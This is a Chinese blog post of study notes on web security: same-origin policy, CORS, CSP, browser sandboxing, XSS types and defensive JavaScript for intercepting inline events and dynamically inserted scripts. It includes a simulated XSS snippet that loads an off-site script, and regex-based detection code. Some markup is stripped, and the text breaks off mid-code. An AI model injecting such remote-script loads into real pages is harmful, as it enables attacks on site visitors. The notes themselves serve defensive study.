web讲白帽子 - 笔记

发布时间:2018-06-18 13:04:18

第一篇 安全世界观

web安全的兴起

web攻击技术经历几个阶段

1. 服务器端动态脚本的安全问题

2. sql注入的出现

3. xss的出现

4. web攻击思路从服务器到客户端

安全三要素

机密性confidentiality、完整性integrity、可用性availability

设计安全方案的原则

secure by default原则:白名单

纵深原则:不同层面实施安全方案,避免疏漏; 正确的地方做正确的事

数据与代码分离原则(针对各种注入问题)

不可预测性原则:敏感数据不可预测

注:UTM 即统一威胁管理,包括防火墙、VPN、反垃圾邮件、IDS、反病毒等等

爬虫(可以续学)

第二篇 客户端脚本安全

浏览器安全功能

同源策略Same Origin PolicySOP
限制来自不同源的脚本或document对当前document读取或设置某些属性。
浏览器中scriptimgiframe等标签可以通过src属性跨域加载资源,不受同源策略的限制,对于src加载的资源,浏览器限制JavaScript不能读写。
XMLHttpRequest原本也根据同源策略限制跨域请求,因此后来W3C制定了新的请求:假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求到http://www.b.com/test.php,发起的请求HTTP投必须带上Origin,而B站点服务器返回一个HTTP头包含Access-Control-Allow-Origin: http://www.a.com,那么这个请求就会被通过

跨域请求的访问过程

浏览器沙盒
浏览器发展出多进程架构,将各个功能模块分开,各个浏览器实例分开,提升了安全性。
Chrome是第一个采用多进程架构的浏览器,主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。

Chrome的架构

渲染引擎由沙盒隔离, 网页代码要与浏览器内核进程、操作系统通信,需要通过IPC channel,在其中会进行一些安全检查。这可以让不受信任的网页或JavaScript代码运行在一个受限的环境中,保护本地系统的安全。
Chrome每个标签页和扩展都在独立的沙盒内运行,在提高安全性的同时,一个标签页面的崩溃也不会导致其他标签页面被关闭,但由于过于占用内存,现在已经变成有些网页公用一个进程,它们和服务器保持共同的会话。

恶意网站拦截
浏览器周期性从从服务器获取恶意网站的黑名单,如果用户访问就弹出警告框

Content Security PolicyCSP
Firefox4推出Content Security PolicyCSP),后来被其他浏览器支持。
CSP的做法是,由服务器端返回一个Content-Security-PolicyHTTP头,在其中描述页面应该遵守的安全策略,让浏览器不再盲目信任服务器发送的所有内容,并且能让浏览器只执行或者渲染来自这些源的内容。
源的策略包括:

o script-src控制了页面的脚本权限集合

o connect-src限制了可以连接到的源(通过XHRWebSocketsEventSource

o font-src指定了可以提供web字体的源

o frame-src列出了可以作为页面帧嵌入的源

o img-src定义了可以加载图片的源

o media-src限制了允许发送视频和音频的源

o object-src允许控制Flash和其他插件

o style-src控制样式表的源

源列表接受4个关键词:

o none,不匹配任何内容

o self,值匹配当前源,不匹配其子域

o unsafe-inline,允许内联的JavaScriptCSS

o unsafe-eval,允许eval这样的文本到JavaScript的机制

例如:Content-Security-Policy: default-src https://cdn.example.net; frame-src ‘none’;如果想要从一个内容分发网络加载所有资源,而且已知不需要帧内容

由于CSP配置规则比较复杂,在页面较多的情况下很难一个个配置,后期维护成本大,导致CSP没有很好的推广。

XSS

跨站脚本攻击,Cross Site Script为了和CSS区分所以叫XSS
XSS攻击指,攻击者往Web页面里插入恶意html代码,当其它用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。

XSS根据效果可以分成:

反射型XSS:简单把用户输入的数据反射给浏览器,例如诱使用户点击个恶意链接来达到攻击的目的

存储型XSS:把用户输入的数据存储到服务器,例如黑客发表包含恶意js代码的文章,发表后所有浏览文章的用户都会在他们的浏览器执行这段恶意代码

案例:
2011年,新浪微博XSS蠕虫事件:攻击者利用广场的一个反射性XSS URL,自动发送微博、私信,私信内容又带有该XSS URL,导致病毒式传播。百度空间、twitterSNS网站都发生过类似事件。

被动扫描 vs 主动防御

被动扫描:把页面里所有元素都扫描一遍,看是否有有危险性的代码;但由于现在ajax的使用,经常会动态修改DOM元素,即使定期扫描,XSS也可以在定时器的间隔触发后销毁,没用且浪费性能。

主动防御:只要防御程序在其他代码之前运行,就可以对XSS攻击主动进行检测和拦截。

内联事件

例如在页面中需要用户输入图片的地址如,但攻击者们可以通过引号提前关闭属性,并添加一个极易触发的内联事件如

防范思路

对于内联事件,还是遵循DOM事件模型:捕获阶段->目标阶段->冒泡阶段,如下图。

DOM事件模型


因此我们可以在捕获阶段进行检测,拦截目标阶段的事件的执行。

document.addEventListener('click', function(e) {

var element = e.target;

var code = element.getAttribute('onclick');

if (/xss/.test(code)) { // 拦截的策略判断

element.onclick = null; // 拦截内联事件,不影响冒泡

alert('拦截可疑事件: ' + code);

}

}, true);

除了onclick事件,还有其他很多内联事件如onloadonerror等,不同浏览器支持的也不一样,可以通过遍历document对象,来获取所有的内联事件名。

for(var item in document) {

if (/^on./.test(item)) { // 检测所有on*事件

document.addEventListener(item.substr(2), function(e) { // 添加监听需要去掉on

// ... 拦截策略等

}

}

}

除了on开头的事件外,还有一些特殊形式,其中使用最为广泛和常见,这种就需要单独对待。

document.addEventListener(eventName.substr(2), function(e) {

//... 其他拦截策略

var element = e.target;

// 扫描 的脚本

if (element.tagName == 'A' && element.protocol == 'javascript:') {

// ...

}

});

对于一些常用的事件如鼠标移动会非常频繁的调用,因此有必要考虑性能方面的优化。
一般来说内联事件在代码运行过程中并不会改变,因此对某个元素的特定事件,扫描一次后置个标志位,之后再次执行的话检测标志位后可以考虑是否直接跳过。

可疑模块

XSS最简单和常见的方法就是动态加载个站外的脚本,模拟代码如下:

<button id="btn">创建脚本button>

<script>

btn.onclick = function() {

var el = document.createElement('script');

el.src = 'http://www.etherdream.com/xss/out.js';

// 也可以写成el.setAttriute('src','http://www.etherdream.com/xss/out.js');

document.body.appendChild(el);

};

script>

防范思路

HTML5MutationEventDOMNodeInserted事件和DOM4提供的MutationObserver接口都可以检测插入的DOM元素。

var observer = new MutationObserver(function(mutations) {

console.log('MutationObserver:', mutations);

});

observer.observe(document, {

subtree: true,

childList: true

});

document.addEventListener('DOMNodeInserted', function(e) {

console.log('DOMNodeInserted:', e);

}, true);

MutationObserver能捕捉到在它之后页面加载的静态元素,但它不是每次有新元素时调用,而是一次性传一段时间内的所有元素。
DOMNodeInserted不关心静态元素,但能捕捉动态添加的元素,而且是在MutationObserver之前调用。
对于静态脚本,可以通过MutationObserver来检测和拦截,但对不同的浏览器拦截结果不同,在Firefox上还是会执行。
对于动态脚本,DOMNodeInserted的优先级比MutationObserver高,但也只能检测却无法拦截脚本的执行。

既然无法通过监测DOM元素挂载来拦截动态脚本执行,那么讲检测手段提前,对于动态创建脚本,赋予src属性必不可少,因此我们可以通过监测属性赋值来进行拦截。
检测属性赋值可以通过MutationObserverDOMAttrModified事件,但对于先赋值再插入元素的情况来说,由于赋值时元素还没插入,因此事件回调并不会被调用。
除了事件外还可以通过重写Setter访问器,在修改属性时触发函数调用。

var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');

HTMLScriptElement.prototype.__defineSetter__('src', function(url) {

if (/xss/.test(url)) {

return;

}

raw_setter.call(this, url);

});

对于setAttribute来修改属性的情况同样需要一定的防护,通过改写setAttribute

// 保存原有接口

var old_setAttribute = window.Element.prototype.setAttribute;

// 重写 setAttribute 接口

window.Element.prototype.setAttribute = function(name, value) {

// 匹配到

相关推荐